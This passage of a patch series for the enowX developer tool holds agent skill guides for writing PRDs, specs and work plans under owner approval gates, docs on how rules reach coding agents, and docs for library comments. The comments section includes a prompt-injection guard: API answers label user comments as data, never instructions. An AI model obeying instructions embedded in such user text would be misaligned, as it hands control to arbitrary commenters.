+- C4, deployment: the services, the compose or infrastructure files, the imports between parts.
+
+    "$ENOWX_BIN" rag search "where is the orders schema defined"
+
+Note the files you read. For something not built yet, draw from the Technical Spec and say so in the diagram's title. What you can't confirm gets {{Unverified}} in its label.
+
+## 2. Read how a canvas draws
+
+    "$ENOWX_BIN" canvas guide
+
+Read its part on wireframes, diagrams and boards: the sheet comes first and everything goes on it, the grid of 8, at most 7 to 9 boxes per frame, bigger diagrams split into frames.
+
+## 3. Draw it
+
+    "$ENOWX_BIN" canvas new "ERD: Shop" --kind diagram --project .
+
+It prints the canvas's ID. Then the sheet, the title, the boxes, the arrows, one call each:
+
+    "$ENOWX_BIN" canvas shape ID --type rect --id sheet --x 0 --y 0 --w 1200 --h 760 --fill "#ffffff" --stroke "#e2e8f0" --radius 16
+    "$ENOWX_BIN" canvas shape ID --type rect --id orders --x 80 --y 120 --w 240 --h 120 --text "orders: id, user_id, total" --fill "#dbeafe" --radius 10
+    "$ENOWX_BIN" canvas shape ID --type rect --id users --x 480 --y 120 --w 240 --h 120 --text "users: id, email" --fill "#dbeafe" --radius 10
+    "$ENOWX_BIN" canvas shape ID --type arrow --from orders --to users --text "user_id"
+
+Every table, column and call in it is one you read in step 1. Then look at it, and fix what is hard to read:
+
+    "$ENOWX_BIN" canvas screenshot ID /tmp/diagram.png
+
+## 4. Link it to its document
+
+    "$ENOWX_BIN" docs diagram "ERD" --canvas ID --from "db/migrations 001 to 014"
+
+This puts the canvas in the note as an embed, with where it was drawn from and the date checked. The embed in the note is how the owner finds it, so report the document it is in.
+
+## 5. Keep it in step
+
+When the schema or the code it shows changes, in the same turn as that commit: read the source again, change the shapes (canvas shape ID --id orders ...), and run docs diagram again with the new source, so its date says when it was last checked. A diagram you could not bring into step gets {{Unverified}} in the document, with what changed.

+description: Use when turning an enowX Project Docs PRD and Technical Spec into milestones and tasks with dependencies, ready to hand to agents through GOD of Agents.

+
+# Plan the work
+
+## 1. Read what is to be built
+
+    "$ENOWX_BIN" docs summary PROJECT
+    "$ENOWX_BIN" notes outline "PRD"
+    "$ENOWX_BIN" notes outline "Technical Spec"
+    "$ENOWX_BIN" notes outline "User Stories and Acceptance Criteria"
+
+Plan from the documents as they are. If PRD and Technical Spec are unfinished, say so: planning on sand wastes the tasks. Stale sections (docs summary) are re-read first.
+
+## 2. Milestones
+
+In Roadmap and Milestones, under "Milestones": stages, each ending in something that can be shown or tested. No invented dates: a date comes from the owner, or carries {{Assumption}}.
+
+    "$ENOWX_BIN" notes write "Roadmap and Milestones" --section "Milestones" --body -
+
+## 3. Tasks
+
+In Work Breakdown and Backlog, under "Tasks". One line each, in exactly this form, since docs plan reads it:
+
+    - [ ] T-1: Add the orders table and its migration (MVP)
+    - [ ] T-2: Build the order form against the API spec (MVP, depends on T-1)
+    - [ ] T-3: Send the confirmation email (MVP, depends on T-1, T-2)
+
+That is `- [ ] T-<n>: verb phrase (stage, depends on T-<m>)`. Each task starts with a verb, is small enough for one session, and finishes something checkable. Only real dependencies count: what can go on at once should.
+
+    "$ENOWX_BIN" notes write "Work Breakdown and Backlog" --section "Tasks" --body -
+
+Every Must feature of the PRD is covered by some task. Name what isn't, rather than leaving it to be noticed.
+
+## 4. See the plan as enowX reads it
+
+    "$ENOWX_BIN" docs plan PROJECT
+
+It lists the tasks, their dependencies, what is ready and the exact command for each. It delegates nothing. A line it can't read means the form above isn't kept: fix the line.
+
+## 5. Hand tasks over
+
+Only with the owner's say-so, and only once the gate is open:
+
+    "$ENOWX_BIN" docs gate PROJECT
+
+While it blocks, stop: tell the owner what to approve. Once open, delegate what is ready, one task at a time, its section carried in the worker's prompt:
+
+    "$ENOWX_BIN" goa delegate --doc "PRD#Features and priorities" --title "T-1" "T-1: Add the orders table and its migration"
+
+Follow the work with docs progress PROJECT. Keep the plan true: a task added, split or dropped is written here, with a Change history line.

+description: Use when the user wants to brainstorm, shape or document a project idea in enowX Project Docs, or to document an existing project from its code. Asks one topic at a time and writes each answer into the project's documents.
+---
+
+# Brainstorm a project into its documents
+
+The result lives in the documents, not in the chat. A topic settled in chat and not written down is not settled.
+
+## 1. Find or make the project
+
+    "$ENOWX_BIN" docs list
+    "$ENOWX_BIN" docs summary PROJECT
+
+No project yet: ask only what you need to start (its name, and whether it is small or a serious product), then make it. The core pack suits most; the full pack suits a product with several people, money or regulation.
+
+    "$ENOWX_BIN" docs new "NAME" --size core --project .
+
+## 2. On an existing project, read before you ask
+
+Code answers many questions. Read it first, and fill documents from it rather than asking the user what you can see:
+
+    "$ENOWX_BIN" project context NAME
+    "$ENOWX_BIN" project read NAME FILE
+    "$ENOWX_BIN" rag search "how do people sign in"
+
+In the Notes page your tools are project_context and project_read. Say which file:line each fact came from. Ask the user only what code can't say: the why, the who, the plans.
+
+## 3. Pick the documents
+
+    "$ENOWX_BIN" docs catalog
+
+Each entry says what kind of project needs it. Choose from the project's type, not from a habit. Tell the user in a line or two which you add, and why:
+
+    "$ENOWX_BIN" docs add PROJECT KEY
+
+For one that doesn't apply, record why, so it isn't asked for again:
+
+    "$ENOWX_BIN" docs skip PROJECT KEY --why "One role only: no permissions to map"
+
+## 4. Ask one topic at a time
+
+    "$ENOWX_BIN" docs gaps PROJECT
+
+It lists what is unfilled, in the order best asked. For the first gap:
+
+1. Ask its one question, in the user's language, shaped by what you already know. One topic per message; never a list of questions.
+2. Skip a topic that doesn't fit this project, and write why in its section as a line starting "Skipped:".
+3. Write the answer into that section at once, in the user's own terms, replacing its "_To fill:" line:
+
+       "$ENOWX_BIN" notes write DOC --section "Problem and audience" --body -
+
+4. Run docs gaps again, and go on from what it says. Stop when the user says so, or when what remains can wait; put what stays unanswered as a to-do under the project's "Open questions".
+
+## 5. "Up to you"
+
+When the user says "terserah kamu", "up to you" or the like, don't just pick. Give your suggestion with its reason in a sentence, write it into the section with {{Assumption}} beside it, and go on. The user can overturn it later; the mark shows them where to look.
+
+## 6. Research with sources
+
+For competitors, prices and technical options, search rather than remember. Each claim in a document carries its source's link and the date you read it. If you can't search, write what you believe with {{Unverified}} and say that you could not check it. Results go in the section they answer: competitors in the Brief or Market and competitor research, options in the Technical Spec with the choice recorded as a decision.
+
+## 7. In the Notes page
+
+You have no shell there: use notes_outline, notes_read, notes_write with section, docs_gaps, docs_topics, docs_catalog, docs_summary and docs_skill. Everything you write is a proposal the user accepts beside the note, so write the section whole and finished, and say in a line what you changed. Adding documents needs a session of the project, or the user: name what you would add and why. Don't delete notes.
+
+## 8. Hand over
+
+When the user has enough, go on with write-prd and write-spec. The owner reviews and approves those two in the Notes page before anything is built, unless the project has approval off.

+description: Use when checking finished work against the acceptance criteria of a project in enowX Project Docs. Ticks a criterion only on evidence, and names what stays unverified.
+---
+
+# Review against the PRD
+
+## 1. Collect the criteria and the claim
+
+    "$ENOWX_BIN" docs verify PROJECT --task ID
+    "$ENOWX_BIN" notes show "User Stories and Acceptance Criteria" --section "Acceptance criteria"
+
+docs verify sets a task's reported result beside its criteria. It ticks nothing: that is your job. No task on the board? Read the criteria of the feature you were asked to review. A worker's report says what to look at; it isn't evidence.
+
+## 2. Check each criterion by itself
+
+For each one, find evidence you saw yourself:
+
+- a test you ran, with its name and result, or
+- a file:line that does what it says, and for behavior, the behavior seen running.
+
+A test existing proves nothing until it has run. Code that looks right is not evidence that behavior is right: when you can only read, say that you only read.
+
+## 3. Tick only on evidence
+
+    "$ENOWX_BIN" notes check "User Stories and Acceptance Criteria" --item "Paying with an expired card shows"
+
+Each criterion comes out as one of:
+
+- **Met:** ticked, with its evidence in your report.
+- **Not met:** left open, with what happens instead.
+- **Unverified:** left open and named, with what would verify it and who can do it. Never tick these to finish the list.
+
+## 4. Look for what the criteria miss
+
+Compare the result with the PRD's sections for the feature (empty, error and limit states; roles; non-functional). A gap the criteria didn't foresee goes to the owner as a new open question, not as a silently added criterion. A criterion you think is wrong is proposed for change, and stays open until then.
+
+## 5. Report
+
+A table of every criterion: met, not met or unverified, with evidence. Name what remains. Whether to accept the work is the owner's call: say what you found, and let them decide.

+## Rules that always hold
+
+- Never invent a fact. What you suppose gets {{Assumption}} beside it, what you could not check gets {{Unverified}}, and both stay until someone confirms them.
+- Read a section at a time: "$ENOWX_BIN" notes outline NOTE, then notes show NOTE --section S. Write the same way: notes write NOTE --section S --body -. A whole document costs more than it gives.
+- Record every decision in the Architecture Decision Records document: what, why, and what was passed over.
+- Update the documents in the same turn as the commit they describe, and add a line to the document's Change history saying what changed and why.
+- Only the owner approves, in the Notes page. Never set a document Approved, and never turn approval off. A change you write to an approved document becomes a proposal the owner accepts: say so, rather than trying another way.
+- If a command says Project Docs commands or the "$ENOWX_BIN" variable are missing, you are not in an enowX session with this feature on: say so and stop.

+name: write-prd
+description: Use when writing or revising a PRD in enowX Project Docs from what brainstorming settled. Turns the Brief and the user's answers into features, priorities and testable acceptance criteria.
+---
+
+# Write the PRD
+
+## 1. See what is there
+
+    "$ENOWX_BIN" docs summary PROJECT
+    "$ENOWX_BIN" docs gaps PROJECT
+    "$ENOWX_BIN" notes outline "PRD"
+    "$ENOWX_BIN" notes outline "Brief"
+
+Read the Brief's sections, and the PRD's sections you are about to fill. If the Brief's problem or goals are still empty, go back to project-brainstorm for those first: a PRD can't be derived from nothing.
+
+## 2. Fill it a section at a time
+
+    "$ENOWX_BIN" notes show "PRD" --section "Features and priorities"
+    "$ENOWX_BIN" notes write "PRD" --section "Features and priorities" --body -
+
+- **Features and priorities:** every feature names the user it serves and its release. Must, Should or Could; MVP or Later. A feature nobody asked for stays out, or is marked {{Assumption}}.
+- **Roles, states, non-functional:** a concrete rule or number each. "Fast" is not a requirement; a guessed number with {{Assumption}} is better, since it can be argued with.
+- **Out of scope:** what this version leaves out, and why.
+- A section that doesn't apply gets a line starting "Skipped:" with the reason, in place of its "_To fill:" line.
+
+Link what you build on, rather than repeating it: [[Brief#Problem and audience]].
+
+## 3. Acceptance criteria
+
+They go in User Stories and Acceptance Criteria, as to-dos, each one something a person or a test can check:
+
+    - [ ] Paying with an expired card shows "Card expired" and charges nothing
+
+Not "payment works well". Each Must feature has at least one. These to-dos are what review-against-prd checks later, so a criterion that can't be checked is a defect in the PRD.
+
+## 4. Say what it's based on
+
+    "$ENOWX_BIN" docs link "PRD" --to "Brief#Goals and success measures" --in "Problem and goals"
+
+docs summary then reports the section as stale when its source changes.
+
+## 5. Questions and review
+
+Unanswered points go as to-dos under the PRD's "Open questions", not as guesses in the text. When it is complete, set it for review and tell the owner, naming the open questions and every {{Assumption}}:
+
+    "$ENOWX_BIN" docs status "PRD" "In review"
+
+The owner approves it in the Notes page. After approval, your further changes to it become proposals, each with a Change history line.

+description: Use when writing or revising a Technical Spec in enowX Project Docs from the PRD and the project's code. Each section says what it is based on, so a change upstream shows it as stale.
+---
+
+# Write the Technical Spec
+
+## 1. Read the sources
+
+    "$ENOWX_BIN" docs summary PROJECT
+    "$ENOWX_BIN" notes outline "PRD"
+    "$ENOWX_BIN" notes show "PRD" --section "Features and priorities"
+    "$ENOWX_BIN" notes outline "Technical Spec"
+
+On an existing project, read the code too, before you write anything about it:
+
+    "$ENOWX_BIN" rag search "how are orders stored"
+    "$ENOWX_BIN" project context NAME
+
+A rag result is a lead: open the file before relying on it, and cite file:line. What the code does today is a fact; what it should do is a decision.
+
+## 2. Write a section at a time
+
+    "$ENOWX_BIN" notes write "Technical Spec" --section "Data model and migrations" --body -
+
+- **Stack and reasons:** each choice with why, and what it was chosen over. On an existing project, the stack in use is a fact from its files.
+- **Architecture, data, auth, integrations, security, observability:** what is built, not what could be. Unknown versions, limits and prices are looked up with a source, or marked {{Unverified}}.
+- A section that doesn't apply gets a line starting "Skipped:" with the reason.
+- Diagrams: follow draw-diagram. Don't describe from memory what a diagram should show from the schema.
+
+Each real choice between options also goes in the Architecture Decision Records document: what, why, what was passed over.
+
+## 3. Link every section to what it comes from
+
+One Based on line per section, to the source's section where there is one:
+
+    "$ENOWX_BIN" docs link "Technical Spec" --to "PRD#Features and priorities" --in "Architecture"
+    "$ENOWX_BIN" docs link "Technical Spec" --to "PRD#Non-functional requirements" --in "Security"
+
+The line records the source's content as of now. docs summary reports the section as stale once the source moves on.
+
+## 4. Review, then confirm the links again
+
+Set it for review, and tell the owner what is assumed or still open:
+
+    "$ENOWX_BIN" docs status "Technical Spec" "In review"
+
+After a review, re-read what changed in the source, change the section if it must change, and run the same docs link again for each section you checked. That is what says the section still agrees. Never run it to silence a stale mark without reading the source.
+
+The owner approves in the Notes page. Log each later change in the document's Change history.

Subject: [PATCH 081/222] Give agents Project Docs: feature, skills, the Notes
 page's read-only tools

docs skill and docs_skill serve the skills; docs skills install writes them
only when asked, keeping files the user changed. The Notes page's agent gets
the tools that only read, by name, whichever list holds them.

+
+Project Docs documents a whole project (PRD, Technical Spec, ERD and the rest) as ordinary notes under one project note, for agents to fill in with the user, build from, and keep up to date. There's no new kind of note: sync, teams, history, attach, RAG and a note's agent work on them as on any other. Notes are the source; the repository gets a copy only when asked (`docs export`).
+
+The flow: an idea, a brainstorm with an agent, the PRD, the Technical Spec and diagrams, a work plan, tasks through GOD of Agents, results checked against the acceptance criteria, the documents updated.

+Project Docs: PRD · {{Approved}} · v2 · @9f8e7d6c
+```
+
+A document's line has its kind, status, version and, once approved, the hash of its content as approved. A section says what it's built on in a line under its heading (`links.go`):
+
+```
+Based on: [[PRD#Features and priorities]] @1a2b3c4d, [[Brief]] @5e6f7a8b
+```
+
+**Why in the body, not the note's header.** A daemon of an earlier version rewrites a header without the keys it doesn't know, whereas a body survives it, sync, teams, exports and proposals. In an app that doesn't know Project Docs, these lines read as plain text, with `{{Approved}}` a badge in versions that have badges, and the notes are ordinary pages under one parent.
+
+Hashes leave out these record lines and count every to-do as unticked: ticking an acceptance criterion doesn't change a document, and neither does updating its status.
+
+## Sizes and the catalog
+
+`core/projectdocs/catalog.go` lists every document with a template, by area, with **When**, the kind of project that needs it. `docs catalog` prints it.
+
+- **Core pack:** the entries marked Core, as documents directly under the project note.
+- **Full pack:** every entry, under a page per area.
+
+`docs new --with KEY,KEY` adds entries, `docs add` adds one later, and `docs skip PROJECT KEY --why TEXT` records under **Skipped documents** why one isn't needed, so it isn't asked for again. A user's own template is a note kept under a top-level note called "Project Docs templates" (`docs template save`).
+
+A template's sections start with a line `_To fill: …`. `docs gaps` lists the sections that still have one, in the order of `topics.go`, skipping absent documents and sections with a `Skipped:` line. That's the order an agent asks in.
+
+## Statuses, approval and proposals
+
+Draft, In review, Approved, Outdated. Approval and whether a project requires it are the owner's alone:
+
+- `docs approve` and `docs approval` are refused in a session. There's no MCP tool for either. The owner approves in the Notes page.
+- `docs gate PROJECT` says what stops the project being built: a gated document (PRD and Technical Spec) that's missing, not approved, or changed since. It exits non-zero while it blocks. A project with approval off is never blocked.
+- An agent's write to an approved document, or one that would approve a document or change a project's approval, becomes a note proposal the owner accepts (`AgentWrite`, in `guard.go`). Accepting is the approval, at the next version. Ticking to-dos stays direct.
+- An agent can't remove or move a project note or an approved document (`AgentMayRemove`).
+- A write from an app or daemon that doesn't know Project Docs isn't guarded. The hash shows it: the document reads as changed since approval, and the gate blocks until the owner approves it again.
+
+## Staleness
+
+`docs link DOC --to SOURCE[#SECTION] [--in SECTION]` writes a Based on line with the source's current hash, and running it again re-confirms it after a review. When the source's content moves on, `docs summary` reports the document as stale; when the source is gone, as gone. Nothing changes by itself: an agent re-reads the source, and only then links again.
+
+## Attach, RAG and diagrams
+
+`docs new --project P` and `docs attach PROJECT --project P` attach the project note and every document, on any host ([notes.md](notes.md#projects)). Each attachment is what makes a document reach agents: `notes --project .` lists it, and RAG indexes it.
+
+RAG indexes each note attached to the project on its own ([rag.md](rag.md)), so a note under an attached project that isn't attached itself isn't indexed: use `docs attach` rather than `notes attach` on the project note. What's embedded leaves out the first line, Based on lines and `_To fill:` lines (`IndexText`): a template's prompts would come back from a search as if they were facts about the project, and a status change would embed the document again for nothing. The note itself keeps them all.
+
+`docs diagram DOC --canvas ID [--section S] [--from TEXT]` puts a canvas in a document as an embed, which is how the owner finds it, with what it was drawn from and the date.
+
+## Export
+
+`docs export PROJECT --to DIR [--force] [--dry-run]` writes the project into a repository as Markdown: the project note as `README.md`, area folders for a full pack, links between documents made relative, each file starting with a comment naming its note and saying Notes are the source. It refuses to overwrite a file without that comment unless `--force`, never deletes, and refuses when it finds a secret. `--format md|zip|html|pdf|json` goes through the ordinary note export ([notes.md](notes.md#import-and-export)).
+
+## Skills
+
+Seven guides ship in the program (`core/projectdocs/skills/`): `project-brainstorm`, `write-prd`, `write-spec`, `plan-work`, `build-from-spec`, `review-against-prd`, `draw-diagram`. `docs skill` lists them and `docs skill NAME` (MCP `docs_skill`) prints one, so any agent has them without anything installed.
+
+`docs skills install [--agent claude|codex|shared|opencode] [--force]` writes each as `<name>/SKILL.md` in the agent's user skills folder, the folders of `core/envsync`, and says what it wrote. It does so only when run: enowX never installs them by itself. Each file ends with a hash of its text, so a later install updates a file as enowX wrote it and keeps one the user changed, unless `--force`. Only `SKILL.md` is written; what the user put beside it stays.
+
+## What agents are told
+
+The feature `projectdocs` (Settings → Features) adds its part to the guide and serves the `docs_*` tools. The rules: before changing a project read its documents, run `docs gate` before building, update documents in the same turn as the commit, record decisions in the ADR document, never invent facts, mark what's assumed `{{Assumption}}` and what's unchecked `{{Unverified}}`.
+
+The Notes page's agent ([notes.md](notes.md#asking-an-agent)) gets the read-only tools alone, `docs_summary`, `docs_gaps`, `docs_topics`, `docs_catalog` and `docs_skill`, and brainstorms by `project-brainstorm` with its writes as proposals.
+
+## GOD of Agents
+
+`docs plan PROJECT` reads the tasks of Work Breakdown and Backlog, written `- [ ] T-1: verb phrase (stage, depends on T-0)`, and says what's ready; it delegates nothing. `goa delegate --doc NOTE[#SECTION]` refuses while the gate blocks, and otherwise starts the worker's prompt with that section, what it's based on and the criteria that apply. `docs progress PROJECT` shows documents, gate, tasks and criteria. `docs verify PROJECT --task ID` sets a task's result beside its criteria; whoever checks it ticks them with `notes check`, only on evidence. See [goa.md](goa.md).
+
+## Commands

+| `docs link DOC --to SOURCE[#SECTION] [--in SECTION]` | `docs_link` | A Based on line |

+| `docs gate PROJECT` | `docs_gate` | What stops it being built |
+| `docs attach PROJECT --project P [--host H]` | `docs_attach` | Attaches the project and every document |
+| `docs diagram DOC --canvas ID [--section S] [--from TEXT]` | `docs_diagram` | Embeds a canvas |
+| `docs export PROJECT --to DIR [--force] [--dry-run]`, `--format F [--out F]` | `docs_export` | Copies it out |
+| `docs templates`, `docs template save NOTE [--name N]` | none | The user's templates |
+| `docs skill [NAME]`, `docs skills install [--agent A] [--force]` | `docs_skill`, none | The skills |
+| `docs plan`, `docs progress`, `docs verify` | `docs_plan`, `docs_progress`, `docs_verify` | With GOD of Agents |
+
+Sections are read and written with the notes commands: `notes outline`, `notes show --section`, `notes write --section`, `notes check`.
+
+## Mixed versions
+
+Nothing in the protocol is needed for a document to exist: a daemon or app of before keeps the first line and shows an ordinary note, and syncs it as one. It can't show statuses or guard writes, which `ChangedSinceApproval` catches afterwards. The `docs` commands need a command line of this version on the host that runs them, as the notes they read are on any daemon.

Subject: [PATCH 084/222] Keep every menu, select and pop-up list in the window

MyGo moves a panel placed along its anchor into the window but not one placed
over or under it, and a list only scrolls if it is given a height. Lists as
tall as 420 fit neither side of a trigger in the middle of the smallest window.

Show now always scrolls what is taller than the window, which replaces
ShowLong: its room assumed the menu opens downward, so a short menu near the
foot was squeezed to 160 and scrolled, though MyGo moves it up whole.

Subject: [PATCH 085/222] Close a pop-up when what it belongs to goes away

An open menu's state outlived its anchor, so it opened by itself when the user
came back to a page or session. It now goes with the anchor, as do the pop-ups
that keep their own open state.

Subject: [PATCH 086/222] Close the chat's slash menu on a click outside it

Only Escape closed it. A click elsewhere leaves the focus in the input, so
the menu stayed over the conversation until the text changed.

Subject: [PATCH 087/222] Check rules at each prompt and keep what each session
 got

Rules reached a session only as it started, but for GOD of Agents' next
prompt, whose memory of what it gave went with the daemon and took a first
prompt as up to date. Each session now saves the version its agent last got;
its hooks compare at each prompt and give the rules once when they changed,
and again after compaction or resuming.

Agents with no hooks read a guide file of the session rewritten when rules
change, with a version line. The guide command now prints the rules, the one
way many agents have; files every session of a host shares no longer hold the
last started project's. Tabs and folders of no project keep theirs too.

An agent with a system prompt flag but no file form gets the inject inline, told to read the guide: Codex, Qoder CLI, OMP, Prime Agent, Qwen Code, CodeBuddy and Grok. That relies on the agent reading it; it has no check. Nothing of these lands in the user's project.

+### What each agent gets of the rules
+
+A project's rules and GOD of Agents' have a version: the first 8 characters of their SHA-256, which the guide says beside them (`Version of these rules: …`). They are found by the project's remote, else its main folder: another spelling of the folder's case, a symlink, a subfolder or a worktree is the same project, and files saved under an earlier spelling are still found, and moved at the next save. A folder in no repository also reads the rules of a folder above it, up to the user's home, which passes on none.
+
+Each session keeps the version its agent last got (`SessionInfo.Rules`, saved with the session, so it outlasts the daemon). The daemon looks at the rules every 30 seconds and at each save, and with each hook below. The session's header says what it knows: arrived and how, not confirmed, or changed and waiting.
+
+| Agents | As it starts | When the rules change | After compaction or resuming | Known to have arrived |
+|---|---|---|---|---|
+| Claude Code, Claude Agent Teams | In its system prompt, a file of the session | With its next prompt, through `UserPromptSubmit` | Again, once: `SessionStart` (source `compact`, `resume` or `clear`), or else the next prompt after `PreCompact` | Yes, handed to its hook |
+| Codex | With its session's start or first prompt, through its hooks; its inject also names `ENOWX.md` | With its next prompt, through `UserPromptSubmit` | Again, once: the same hooks | Yes, handed to its hook |
+| OpenClaude, Droid, Autohand Code, Continue | In its system prompt, a file of the session | No hook: its guide says `"$ENOWX_BIN" guide` prints the current ones, and it may never run it. The header says they changed | At resuming, as it starts. Compaction isn't seen | At the start; later only if it runs the guide |
+| Aider, Auggie, OpenCode, OpenCode 2, Kilo Code | The session's own file, named on its command line or in its config's variable | The same | The same | The same |
+| Qoder CLI, Qoder CLI China, OMP, Prime Agent, Qwen Code, CodeBuddy, Grok | Its inject tells it to read the session's `ENOWX.md` | That file is rewritten, with the new version line; it reads it if it looks again | At resuming it is told to read it again. Compaction isn't seen | **Not confirmed**: in the file, not known read, unless it runs the guide |
+| Kiro CLI, GitHub Copilot, Antigravity, Cline, Devin | A file of its home holds the guide, shared by all its sessions, so no project's rules: it says `"$ENOWX_BIN" guide` prints them. Copilot's MCP server gives them too | By running the guide again | By running the guide again | Only when it runs the guide |
+| Gemini CLI, Ante, MiMo Code, ZCode, Pi, Goose, Amp, Crush, Command Code, Mistral Vibe, Rovo Dev, Jcode | A block of a file of its home says to run `"$ENOWX_BIN" guide`, which prints them | The same | The same | Only when it runs the guide |
+| Cursor, Kimi, Trae, Muse, DeepSeek Harness, Codebuff, Freebuff, Hermes, OpenClaw | A line after the first prompt, and a block in the project, say to run the guide. Kimi's MCP server gives them too | The same | The same | Only when it runs the guide |
+
+On Windows, whose agents have no hooks, Claude Code and Codex go as the rows without one. A tab's agent gets what its session's would. The Notes and Canvas pages' agents get no project's rules. Rules with nothing new are never sent again by a hook: only a change, a compaction or a resume sends them, once. What goes through a hook or the guide has any secret masked, as the guide's file does. Rules over 8,000 characters don't go in a hook's answer, as an agent cuts what is long: it says to read `RULES.md` in the session's folder.
+
+These rows come from the code and tests with stand-in agents, not from real sessions of each agent, as the table above says.
+
 Nothing here writes an agent's settings file. A block in an instructions file is the one lasting change enowX makes to a file of the user's, kept between markers with the rest untouched; OpenCode and Kilo Code no longer need one, and a block an older enowX left in OpenCode's file stays, harmless, until the user removes it.
 
 Where an agent's docs offer no way for one session, and the closest there is:

Subject: [PATCH 089/222] Hand tasks over from Project Docs, and read a project
 beside the board

goa delegate --doc holds to the project's gate and prepends what the
documents say. docs plan, progress and verify read the plan and criteria
beside the board and change nothing. All of it runs in the command line,
so the protocol doesn't change and a daemon of before serves it.

+## Tasks from Project Docs
+
+`goa delegate --doc NOTE[#SECTION]` (`doc` on `goa_delegate`) hands over a task of a [Project Docs](project-docs.md) project. It reads the project first and refuses while its gate is closed, naming each document in the way; the owner approves in the Notes page. Otherwise it prepends to the prompt what the task needs of the documents, up to 8000 bytes, saying what was cut and how to read it: the section, the PRD's and Technical Spec's sections it is based on, the acceptance criteria not met yet; without such links, the document's outline. A line of that context, `Project Docs: <project ID> <doc ID>#<section>`, ties the task to its project: the board and the protocol don't change, so a daemon of before serves all of it.
+
+The gate holds only with `--doc`: `goa delegate` without it hands over whatever it is given, and the guide tells GOA to stop while the gate is closed.
+
+- `docs plan PROJECT` (`docs_plan`): the Work Breakdown's tasks, written `- [ ] T-1: verb phrase (stage, depends on T-0)`, their dependencies, the board tasks whose title names them, what is ready and the exact command for each. It delegates nothing.
+- `docs progress PROJECT` (`docs_progress`): documents by status, the gate, tasks planned and done, the project's tasks on the board, acceptance criteria done.
+- `docs verify PROJECT --task ID` (`docs_verify`): the task's result beside the criteria that apply to it, the document's or section's own, else User Stories and Acceptance Criteria. It ticks nothing: the checker ticks with `notes check`, only with evidence, and names what remains.

Subject: [PATCH 097/222] Add the Project Docs view: new project, summary and
 document strip

A self-contained package, as release/next rewrites notesview. It reads through
the notes calls alone, so a new app works on an old daemon, and derives a project
off the main thread with a throttle, reading again only the notes that changed.

Subject: [PATCH 098/222] Give Project Docs a hook above the Notes page

The page stays the only writer of itself: a status goes through Rewrite after
its edits are saved, so nothing overtakes what is typed. The body's first line
stays in the note but off the rendered page, as the strip says it.

Subject: [PATCH 103/222] Keep catching GOA's workers up on every poll of a
 watched host

A turn's end in a task's first seconds doesn't count yet, so a relay from the
one read of the list at connecting could be the only one, and the task stay open.
Each poll now goes over the sessions it knows, which takes no call.

Subject: [PATCH 105/222] Add comments, notifications, numbers and announced
 picks to the library

The Cloud's half of enowX UI's community. They share migration 0018 and the
library's routes, so they come together.

Comments are plain text with a sign-in, limited per account and per item, and
every answer holding them says they're other people's data. Reports on them use
the existing table and queue; upheld, the comment goes and the design stays.
Notifications tell a creator what happened and never who reported. Email is an
interface nothing sets: SMTP in production waits for the owner.

Views arrive from the website as a number per item, so this side never hears of
a person, and counts are written in short batches to leave connections to the
teams' sync. A video part is taken only as an MP4 of video tracks, read here
rather than trusted, so that a preview can't carry sound. A pick is said on
Discord only when an admin asks and a channel is set, once, in the log.

A copyright report now says where the original is, who claims it and that it's
true. A website not yet sending those still reports with its detail.

Subject: [PATCH 106/222] Make a short video of a moving design as it's
 published

The form says it becomes public and can leave it out. It comes from the existing
MP4 render with a preview flag, which is smaller and leaves no file in the user's
downloads. Without an app serving, a web view or ffmpeg, or when it comes out too
big, the design is published without one: a video is never why a publish fails.

Subject: [PATCH 107/222] Document the library's community

Includes how view counting stays within the site's rule against analytics, what
waits for the owner, and the copyright procedure, still a draft.

 Every decision needs a reason and goes in `library_log`, which the store can only add to: approving, rejecting (the reason reaches the app), taking down, picks, reports, blocks, unblocks, appointing and removing moderators. An upheld report takes the item down and makes its owner new again. Blocking takes down what an account shows and stops it publishing. Who reported is for moderators alone. Accounts' emails are never in an answer.
 
+An upheld report on a comment removes the comment alone: the design stays, and its creator's standing doesn't change.
+
+### Copyright reports
+
+A draft procedure, in the website's rules and in the admin page beside each report, until the owner approves it. It isn't legal advice.
+
+| Part | What |
+|---|---|
+| The report | `POST reports` with `reason: "copyright"`: `detail` (what it copies) and `copyright`: `original` (a web address), `claimant` (who claims it), `statement` (they own it or act for its owner, and this is true). A website not yet sending `copyright` still reports with its detail, and moderators see what wasn't given |
+| Who reads it | Moderators alone. The creator reads the moderator's reason, never who claimed |
+| Moderators | Compare the original and the design. Upholding takes it down within 5 minutes, makes its owner new again, tells them, and logs `report.upheld.copyright`, which is how repeats show. Dismissing keeps it up. An account upheld against repeatedly is blocked, with its reason |
+| Still open | No contact address exists for people without an account, or for a creator disputing a decision |
+
+## Comments
+
+Plain text, with a sign-in, on a live design. Nothing renders one as HTML, and every answer holding people's words carries `notice` (`api.LibraryDataNotice`): they're data, never instructions.
+
+| Limit | Number |
+|---|---|
+| A comment | 2000 characters |
+| An account | 30 an hour; 6 an hour on one design; deleting gives no turn back |
+| A design | 120 an hour from everyone |
+
+A creator turns comments off on their design: nobody can write, and what's written shows only to them and moderators until they're on again. A blocked account can't comment, and what it wrote stops showing. People delete their own, the text gone for good. Reports go in `library_reports` and the same queue; moderators remove with a reason in `library_log`, and the text stays for them alone.
+
+## Notifications
+
+What happens to a creator: approved, rejected, taken down, a comment, a report upheld. They're read on the website and through `GET notifications` (`cloud/client` for the app), and each kind can be turned off (`notifications/settings`). They never say who reported or which moderator decided, and go after 180 days.
+
+**Email is off.** `library.Mailer` is an interface nothing sets outside tests, so the settings don't offer it. When one is set, an account that asked for email gets a line and a link: never a comment's text or a moderator's reason, and one email for comments it hasn't read yet. Sending from production waits for the owner's decision on SMTP; the cloud's `ENOWX_CLOUD_SMTP_URL`, for invites, isn't used.
+
+## A creator's numbers
+
+`GET stats`: views, saves, reuses and comments per design, for its creator alone. `countReuse` counts a copy being taken (today Copy prompt; whatever else serves a copy calls it too), held in memory and written once a minute.
+
+**A view isn't analytics.** The website has no analytics or trackers, and this adds none: no script, cookie, pixel or beacon, and no outside call. Its server counts as it renders a design's page (`src/lib/views.ts`), leaving out robots, prefetching, a creator's own looks and moderators'. A salted hash of the item, the address and the browser's name, in that process's memory for 6 hours, keeps a reload from counting again; the salt and hashes then go, unwritten. Once a minute it sends `POST views` with how many per item and nothing else, so the cloud never hears of a person, and `library_stats` holds totals. These are coarse: a restart loses up to a minute, and a change of address counts again.
+
+## A moving design's video
+
